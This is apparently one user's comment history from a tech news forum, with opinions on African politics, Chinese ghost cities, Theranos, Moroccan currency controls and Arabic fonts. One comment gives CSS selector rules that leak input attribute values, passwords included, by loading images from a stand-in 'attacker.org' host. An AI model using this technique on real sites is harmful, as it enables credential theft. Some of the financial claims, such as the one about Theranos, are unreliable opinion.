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Mimick··on Industrialisation in Africa: More a marathon than a sprint
Most of the west support the corrupted politicians over the straight ones on Africa, just because a corrupted one is willing to give you advantages on his land over a straight one. So change isn't easy on Africa.
Mimick··on HTML as TeX replacement
Hmmm, why not take ideas from HTML/CSS and that's all for a next version...
Mimick··on Baidu found China’s “ghost cities” but is keeping their locations mostly secret
Actually not really, on the documentary everyone complained... even a guy working with the government and specially on real estate.

It's more like TV channels and newspaper trying to give you news that blew your mind, 2010s marketing = WTF effect.

Mimick··on Baidu found China’s “ghost cities” but is keeping their locations mostly secret
The thing is that not like those cities are cheap to get an apartment in... China is more like still having a resident problem than a first world problem of ghost cities.
Mimick··on Let Twitter Be Twitter
$569.2M of earnings on Q3, and you want it to be worth $3-4B?

Why everyone ignoring the financial facts?

I don't like or use Twitter/Vine/Medium. But those guys generate load of money even that it look like they don't...

Mimick··on Baidu found China’s “ghost cities” but is keeping their locations mostly secret
I saw a documentary once about two ghost cities, the documentary was 6 years old and those cites were almost with 0 resident, I saw on comment Chinese people saying that those cities are full now. It's just China being two steps forward.
Mimick··on Money Flooding Out of Canada at Fastest Pace in Developed World
You can't pass a limit.

One of the ways that there's also is money exchange, like someone who want to send money to Morocco and he is outside of Morocco.

Or you can just walk into a Spanish/Moroccan city (there's 2 on, on Africa... governed by Spain but both countries claim its their own) and deposit the money to a bank or something.

It's not like they are making it impossible for you, it's just impossible to do with on the way you are comfort with...

Mimick··on Theranos Letter Shows Elizabeth Holmes Tried to Take Control from Shareholders
I don't know why everyone keep implying that Theranos is on a bad position. The company really worth its valuation... they aren't doing something exceptional on the tech world but they are just fine financially. It's a known company on a with a big market and you won't ever struggle with a business model (traditional one) on that type of tech companies.
Mimick··on Money Flooding Out of Canada at Fastest Pace in Developed World
You don't need it, you can do it legally on any bank or exchange office. Since getting money out is the illegal thing and not using another currency inside Morocco.

If you're a politician or with a bit of power you can get money out of Morocco easily. Even when politicians caught doing that (no foreign nationality but owning stuff outside of Morocco) newspaper write about them and they respond with stuff like I really needed that since I have to send my son to study there... TL;DR: law don't apply on them...

Mimick··on Why is Japan using cassette tapes and faxes?
Japanese people's culture is "If it's working like that, keep it like that".

I once had to make a Japanese website for a cars wholesale company that ship cars for different countries on the world and they used to do a lot of work manually on their old website wanted to update it because they lost contact with the old developer (used to HTML the website).

He was like no-no for everything that will cost money (themes, plugins...), I didn't felt comfortable dealing with him since he said no for a $50 translation plugin and he wanted translation on his website (he will get transitioned text himself somehow, don't like this step step things...) and I'm sure I will charge him more than $50 to write a translation plugin (since I won't put it on an online store).

Mimick··on Money Flooding Out of Canada at Fastest Pace in Developed World
The same on Morocco and politicians say so people who got money by corruption will not get them out, since here it's legally to not justify where you got your money from. So no need for money laundry.

The real reasons is just because it's not healthy for a developed economy who can't compete with the world to not monitor the ins and outs... Also we don't have a real currency but our is called Dirham and it's basically 40% USD and 60% EURO, They adjust it by time to time and change those values depends on how EU or US doing so if one of those currency crushed hard ours don't (It was 20% USD, and 80% EURO so relax my US fellas you're doing fine :P). And if you got caught trying to speak even like DH10 ($1) out of Morocco it's a serious crime (while you can take it in another currency, that's why you find Dirham only on Morocco).

Years ago I got my first credit card that world internationally (I tried 4 banks, it was just released, and they had too much technical issue AKA it's not working at all only one of them worked for me...) and it's capped at $1000 a year... you my think is nothing but it's like a dream for me... being able to get a couple of domains and servers is the dream.

Mimick··on Top 1% now owns more of the wealth than the remaining 99%
I asked, not decided. And everyone on the world have a tiny of a right to decide.
Mimick··on Top 1% now owns more of the wealth than the remaining 99%
It's fine for some to own nothing in order to have bigger economy on the whole world? Who are we competing with Mars? What a billionaire need more than billion for anything?

You comment just funny since it's the perfect billionaire's first world problem.

Mimick··on CSS Based Attack fontface
Another interesting way of getting attribute values is using...

  [value*=a] {
    background-image: url('attacker.org/lolz.png?a');
  }

  [value*=b] {
    background-image: url('attacker.org/lolz.png?b');
  }


It can work on passwords too by the way, maybe it can give you an idea of the order based on the query order, and remember... this work only if the data got already loaded or the attribute got changed by JavaScript and not by manually typing...

Edit: Tested that but it load the last bg only (make sense), so you need to use animation for that to load them one after one.

Mimick··on Mark Zuckerberg Signed the Wrong Document
It wasn't a wrong form, it was right back then, If he signed as a shareholder it may spread a bad message too. It's only a better clickbait title of an article.
Mimick··on Why NoSQL DBs will only let you perform transactions on a single data item
I think it's just a matter of keep it simple so it stay fast, since this is the whole philosophy behind NoSQL.
Mimick··on Theranos, Facing Criticism, Says It Has Changed Board Structure
Theranos is fine as long as what they are doing is kept legalized. This is just an anti-hype after a hype.
Mimick··on China to begin two-child policy
Overpopulation isn't that of a big problem as the politics make it seem.
Mimick··on Growth in VC funding to Bitcoin startups slowed substantially last quarter
Bitcoin is a better money, today's real money is just broken... the only downside with Bitcoin is that if some day some guy invented a let's say quantum computer and found a way to hash faster somehow he can own 90% if the BTCs on a night.
Mimick··on What language has the quickest payback?
If you are focusing on oDesk/freelance it's easy to say you need to learn PHP, Ruby on Rails is easier as others said but you won't get a lot of projects with it. More likely to get a job with it.
Mimick··on Modern art was CIA 'weapon' (1995)
As a neutral I see that Russia won the cold war by spending only on useful things...
Mimick··on Why Software Outsourcing Doesn't Work Anymore
Guy from 3rd world country here.

There's a huge number of outsourcing companies on my country, but the ones that are able to attract more clients are the ones who don't care for their products, since their business model is like that.

Normally those ones focus on showing you their teams not their works.

Mimick··on Ask HN: Any hacks/ideas to identify tech trends from the bottom up?
This. And it would be cooler if you used GitHub as a dictionary of keywords while the trends being checked on Twitter.
Mimick··on Ask HN: What's the best path for learning JavaScript for web development?
It's not shameful, JS is one of the most complex languages out there. And most web developers just ignore it and go for jQ like it's the new JS.

What I did once is I worked on a project only with pure JS, and did some complex ideas there and since then I feel comfortable working with it. I work with it purely only on my personal websites since it's take longer time.

Mimick··on European Parliament votes against net neutrality amendments
That's the most likely, since that comment stating that they are downloading a big content.
Mimick··on Theranos didn’t work with the huge drug company it supposedly made money from
Wait, but how the founder became a billionaire? I thought they are generating huge profit already...
Mimick··on Classeur.io: Re-enjoy writing, with Markdown
It's more like for using the skills they know than ease of development. Web is more common this days that developers fear the working directly with an OS...

Years ago developers used to code websites on languages intended for the OS (tools to make that easier was there) and today we see the opposite.

Mimick··on Classeur.io: Re-enjoy writing, with Markdown
I like it, waiting for the Linux application...

Hope to see more of this as application and not as web apps, I really don't like this new web apps trend.

Mimick··on Why It's So Hard to Design Arabic Typefaces
There's almost no use for a fixed monospaced Arabic font on Arabic, and even so there's plenty. Most designed Arabic fonts I see today are for the purpose to be used on other designs like on Photoshop, and there's like more freedom and coolness on them than a good font that you will want to publish a book with or use it on your blog.

I think it's the same reason Japan still sticking with their old school looking websites, we are still sticking with our old school fonts.

I think also when there's not much Arabs on big IT company, you never have that Arab guy that can advice that shipping good Arabic fonts on the next OS will be good (except for Linux(s)... Arabic fonts are fine there). I notice also the Arabic version on popular websites normally have a poor choices of words.

Mimick··on Why It's So Hard to Design Arabic Typefaces
Sometimes authors try to exaggerate to get that "wow!" from the reader. It happens a lot when an author is telling you about a culture or climate you don't know about.
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